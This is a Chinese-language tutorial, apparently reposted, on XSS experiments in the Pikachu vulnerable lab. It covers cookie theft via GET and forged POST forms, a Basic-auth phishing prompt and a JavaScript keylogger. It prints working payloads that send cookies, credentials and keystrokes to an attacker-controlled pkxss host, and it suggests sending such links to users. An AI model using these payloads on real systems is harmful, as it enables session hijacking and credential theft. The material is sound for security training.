Pikachu-xss漏洞之cookie獲取、釣魚攻擊和xss獲取鍵盤記錄


將進行下圖3個實驗,更好的來理解xss的危害和原理

 

先去修改下Pikachu靶機中的,cookie.php修改成自己的ip

 

實驗1:xss如何獲取cookie?            

 

只需要將  Pikachu靶機中的pkxss文件復制到攻擊機中的站點(www)下即可。

登入下

    

 

默認沒任何數據

 

1.1 GET型XSS利用:cookie獲取            

先將字符長度的限制給修改掉

 

pkxss后台:

http://192.168.43.117/pkxss/pkxss_login.php

現在是沒任何數據的

 

 在輸入框中輸入下面語句,輸入完后會重定向到Pikachu的首頁

<script>document.location = 'http://192.168.43.117/pkxss/xcookie/cookie.php?cookie=' + document.cookie;</script>

 

 刷新pkxss后台

 

 在實際的場景中我們可以把 紅框選中的url發送給用戶,一旦他訪問啦這個鏈接,我們便會獲得他的cookie值

 

上面我們做的GET型XSS的利用,下面我們來演示

1.2 POST型XSS的利用:cookie獲取                  

首先我們先來查看下,post(xss)的情況,登入下,用戶:admin,密碼:123456,,提交參數,並抓包

 

我們可以看到它並沒有在url里傳遞參數

 

抓包,分析。

通過post方式傳到后台的。雖然這里也存在xss,但請求是post方式發送的,我們無法將惡意代碼直接嵌到url中發送給目標

 

這種情況下應該怎么弄?

攻擊者偽造表單自動提交頁面

原理圖(紅框選中部分和上面的get型原理是一樣的),

 

接下來我們看下讓用戶訪問的,偽造表單自動提交頁面(在Pikachu中的pkxss下的xcookie下的post.html)

並修改漏洞頁面為自己Pikachu靶機的ip,pkxss后台為自己的ip。為了方便也可以,將漏洞頁面和pkxss搭建在一台主機上。

修改完后記得先去重啟下phpstudy服務(如何用的別的軟件,都一樣,重啟下環境服務就行)

 

修改完后,復制到,其他主機站點(www)下。

模擬的惡意站點:

http://192.168.43.118/post.html

當有用戶點這個鏈接時,,就會實現我們的攻擊目的。

 

實驗2:釣魚攻擊                    

思路:在一個存在xss漏洞上的頁面上嵌入一個鏈接請求,請求會返回一個Basic認證的一個頭部。

若用戶信息安全意識不夠,輸入了用戶和密碼,那么這些會被發送到pkxss后台

我們的實驗用 存儲型xss模塊演示

 

 

我們只需要在這個存儲型的頁面上去,嵌入一個能夠訪問我們后台的返回Basic認證的標簽就行,

這里可以用a標簽、img、<script>

<img src="http://192.168.43.117/pkxss/xfish/fish.php" />

<script src="http://192.168.43.117/pkxss/xfish/fish.php"></script>

查看下fish.php源碼,其中location(重定向)換成自己的ip

 

 

和我們之前獲取cookie一樣,釣魚的后台也有個接口(xfish.php)

獲取遠程的數據,通過get方式去獲取賬號密碼存到庫里面。

 

 

返回輸入框,輸入(其實里面沒有什么內容,只是用src調用我們的遠端php文件)

<script src="http://192.168.43.117/pkxss/xfish/fish.php"></script>

 

 

 

 

 若輸入了賬號和密碼,去pkxss后台可查看

 

 

 

實驗3:xss獲取鍵盤記錄                  

在實驗前,我們先了解下什么是跨越

 

 

 

為什么要有同源策略:

  A登入了淘寶,攻擊者向A發送了一個惡意鏈接urlb:http://www.giao你cookie.com

  如果沒有同源策略不用xss和其他漏洞就能讀你的cookie信息,即urlb上的js可以操作A的內容(如:獲取cookie等)

  有啦同源策略(所有的瀏覽器共同約定的同源策略),就限制啦這種情況

再比如:

  一個惡意站點A上使用啦<iframe src= "B站點登陸頁面" > ,發送該惡意url到攻擊對象,攻擊對象登陸后如果,沒有同源策略,

則A上的JS即可獲取B站點的登錄信息。

 

開始實驗

我們仍然是用存儲型xss來演示,先看下pkxss后台的鍵盤記錄

修改ip,ip為自己pkxss后台的ip地址

  

返回輸入框,

<script src= "http://192.168.43.117/pkxss/rkeypress/rk.js"></script>

這一策略就違反啦同源策略,(ajax)

打開瀏覽器控制台

 

隨着鍵盤的輸入,會顯示錯誤。(當然這時,pkxss后台也是沒有鍵盤記錄的)

 

由於192.168.43.117/pkxss/rkeypress/rkserver.php是攻擊者自己搭建的,

攻擊者可以允許所有的人跨域請求他,因為這個網站是攻擊者自己的,

為了實現攻擊目的,可以rkserver.php把里面的Access-Control允許所有人訪問。

這樣的話,存在xss漏洞的頁面調js跨越請求…43.117的時候就可以正常訪問啦。

改完,在頁面輸入后,pkxss后台會有鍵盤記錄。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM